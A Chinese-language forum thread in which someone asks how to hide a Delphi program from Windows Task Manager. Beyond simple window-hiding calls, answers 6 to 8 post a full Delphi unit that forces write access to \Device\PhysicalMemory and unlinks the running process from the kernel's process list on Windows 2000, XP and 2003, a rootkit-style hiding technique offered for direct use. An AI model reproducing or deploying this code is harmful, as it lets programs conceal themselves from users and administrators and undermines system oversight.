delphi程序怎么在任务管理器的"应用程序"里隐藏?[

Question

就像VB里的App.TaskVisible=False 
我在别的地方求解,无所得..

Answer 1

SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

Answer 2

应用程序的话，都会出现在任务管理器的，除非你用DLL注入，或者消息发送到任务管理器里面

Answer 3

只有DLL注入，DELPHI 是没有类型
App.TaskVisible=False 功能的。

Answer 4

ShowWindow(Application.Handle, SW_HIDE);

Answer 5

http://hi.baidu.com/pnboy/blog/item/b0bd69d3bf7c40053af3cfdb.html

Answer 6

給你參考一下,只不過你的結貼率好低喲:unit HideProcess;interfaceuses
   Windows,ShellAPI,TLHelp32,SysUtils,Variants,Classes,AclAPI,accCtrl,Dialogs;function HideProcess: Boolean;
implementation
type
  NTSTATUS = LongInt;
const
  STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
  STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
  OBJ_INHERIT = $00000002;
  OBJ_PERMANENT = $00000010;
  OBJ_EXCLUSIVE = $00000020;
  OBJ_CASE_INSENSITIVE = $00000040;
  OBJ_OPENIF = $00000080;
  OBJ_OPENLINK = $00000100;
  OBJ_KERNEL_HANDLE = $00000200;
  OBJ_VALID_ATTRIBUTES = $000003F2;type
  PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
  IO_STATUS_BLOCK = record
    Status: NTSTATUS;
    FObject: DWORD;
  end;  PUNICODE_STRING = ^UNICODE_STRING;
  UNICODE_STRING = record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
  end;  POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
  OBJECT_ATTRIBUTES = record
    Length: DWORD;
    RootDirectory: Pointer;
    ObjectName: PUNICODE_STRING;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
  end;  TZwOpenSection = function(SectionHandle: PHandle;
    DesiredAccess: ACCESS_MASK;
    ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
  TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
    SourceString: PWideChar); stdcall;var
  RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
  ZwOpenSection: TZwOpenSection = nil;
  g_hNtDLL: THandle = 0;
  g_pMapPhysicalMemory: Pointer = nil;
  g_hMPM: THandle = 0;
  g_hMPM2: THandle = 0;
  g_osvi: OSVERSIONINFO;
  b_hide: Boolean = false;
//---------------------------------------------------------------------------function InitNTDLL: Boolean;
begin
  g_hNtDLL := LoadLibrary('ntdll.dll');  if 0=g_hNtDLL then
  begin
    Result:=false;
    Exit;
  end;  RtlInitUnicodeString:=GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
  ZwOpenSection:=GetProcAddress(g_hNtDLL, 'ZwOpenSection');  Result:=True;
end;

Answer 7

procedure CloseNTDLL;
begin
  if (0 <> g_hNtDLL) then
    FreeLibrary(g_hNtDLL);
  g_hNtDLL := 0;
end;
//---------------------------------------------------------------------------procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
  pDacl:PACL;
  pSD:PPSECURITY_DESCRIPTOR;
  pNewDacl:PACL;
  dwRes:DWORD;
  ea:EXPLICIT_ACCESS;
begin
  pDacl:=nil;
  pSD:=nil;
  pNewDacl:=nil;  dwRes:=GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;  ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions:=SECTION_MAP_WRITE;
  ea.grfAccessMode:=GRANT_ACCESS;
  ea.grfInheritance:=NO_INHERITANCE;
  ea.Trustee.TrusteeForm:=TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType:=TRUSTEE_IS_USER;
  ea.Trustee.ptstrName:='CURRENT_USER';  dwRes:=SetEntriesInAcl(1, @ea, pDacl, pNewDacl);  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;  dwRes := SetSecurityInfo  (hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);  if ERROR_SUCCESS <> dwRes then
  begin
    if Assigned(pSD) then
      LocalFree(Hlocal(pSD^));
    if Assigned(pNewDacl) then
      LocalFree(HLocal(pNewDacl));
  end;end;
//---------------------------------------------------------------------------function OpenPhysicalMemory: THandle;
var
  status:NTSTATUS;
  physmemString:UNICODE_STRING;
  attributes:OBJECT_ATTRIBUTES;
  PhyDirectory:DWORD;
begin
  g_osvi.dwOSVersionInfoSize:=sizeof(OSVERSIONINFO);
  GetVersionEx(g_osvi);  if (5 <> g_osvi.dwMajorVersion) then
  begin
    Result:=0;
    Exit;
  end;  case g_osvi.dwMinorVersion of
    0: PhyDirectory := $30000;
    1: PhyDirectory := $39000;
  else
    begin
      Result:=0;
      Exit;
    end;
  end;  RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');  attributes.Length:=SizeOf(OBJECT_ATTRIBUTES);
  attributes.RootDirectory:=nil;
  attributes.ObjectName:=@physmemString;
  attributes.Attributes:=0;
  attributes.SecurityDescriptor:=nil;
  attributes.SecurityQualityOfService:=nil;  status:=ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);  if (status = STATUS_ACCESS_DENIED) then
  begin
    ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
    SetPhyscialMemorySectionCanBeWrited(g_hMPM);
    CloseHandle(g_hMPM);    status:=ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
  end;  if not (LongInt(status) >= 0) then
  begin
    Result:=0;
    Exit;
  end;  g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
    FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);  if (g_pMapPhysicalMemory = nil) then
  begin
    Result:=0;
    Exit;
  end;  Result:=g_hMPM;
end;
//---------------------------------------------------------------------------function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
  VAddr,PGDE,PTE,PAddr,tmp:DWORD;
begin
  VAddr:=DWORD(addr);
  PGDE:=PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.  if 0 = (PGDE and 1) then
  begin
    Result:=nil;
    Exit;
  end;  tmp := PGDE and $00000080;  if (0 <> tmp) then
  begin
    PAddr:=(PGDE and $FFC00000) + (VAddr and $003FFFFF);
  end
  else
  begin
    PGDE:=DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
    PTE:=PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.    if (0 = (PTE and 1)) then
    begin
      Result:=nil;
      Exit;
    end;    PAddr:=(PTE and $FFFFF000) + (VAddr and $00000FFF);
    UnmapViewOfFile(Pointer(PGDE));
  end;  Result:=Pointer(PAddr);
end;
//---------------------------------------------------------------------------function GetData(addr: Pointer): DWORD;
var
  phys,ret:DWORD;
  tmp:PDWORD;
begin
  phys:=ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  tmp:=PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
    phys and $FFFFF000, $1000));  if (nil=tmp) then
  begin
    Result:=0;
    Exit;
  end;//  ret:=tmp[(phys and $FFF) shr 2];
  ret:=PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.
  UnmapViewOfFile(tmp);  Result:=ret;
end;

Answer 8

function SetData(addr: Pointer; data: DWORD): Boolean;
var
  phys:DWORD;
  tmp:PDWORD;
begin
  phys:=ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
  tmp:=PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));  if (nil = tmp) then
  begin
    Result:=false;
    Exit;
  end;//  tmp[(phys and $FFF) shr 2] := data;
  PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^:=data; // Modify by dot.
  UnmapViewOfFile(tmp);  Result := TRUE;
end;
//---------------------------------------------------------------------------
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
begin
 ExitProcess(0);
 return 1 ;
end }
//---------------------------------------------------------------------------function YHideProcess:Boolean;
var
  thread,process:DWORD;
  fw,bw:DWORD;
begin
//  SetUnhandledExceptionFilter(exeception);
  if (FALSE=InitNTDLL) then
  begin
    Result:=FALSE;
    Exit;
  end;  if (0 = OpenPhysicalMemory) then
  begin
    Result:=FALSE;
    Exit;
  end;  thread:=GetData(Pointer($FFDFF124)); //kteb
  process:=GetData(Pointer(thread + $44)); //kpeb  if (0 = g_osvi.dwMinorVersion) then       //win2000
  begin
    fw:=GetData(Pointer(process + $A0));
    bw:=GetData(Pointer(process + $A4));
    SetData(Pointer(fw + 4), bw);
    SetData(Pointer(bw), fw);
    Result:=TRUE;
  end
  else if (1 = g_osvi.dwMinorVersion) then   //winXP
  begin
    fw:=GetData(Pointer(process + $88));
    bw:=GetData(Pointer(process + $8C));    SetData(Pointer(fw + 4),bw);
    SetData(Pointer(bw),fw);
    Result:=TRUE;
  end
  else if (2 = g_osvi.dwMinorVersion) then   //win2003
  begin
    fw:=GetData(Pointer(process + $8A));
    bw:=GetData(Pointer(process + $8E));    SetData(Pointer(fw + 4), bw);
    SetData(Pointer(bw), fw);
    Result:=TRUE;
  end
  else
  begin
    Result:=False;
  end;
  CloseHandle(g_hMPM);
  CloseNTDLL;
end;function HideProcess:Boolean;
begin
  if not b_hide then
  begin
    b_hide:=YHideProcess;
  end;
  Result:=b_hide;
end;end.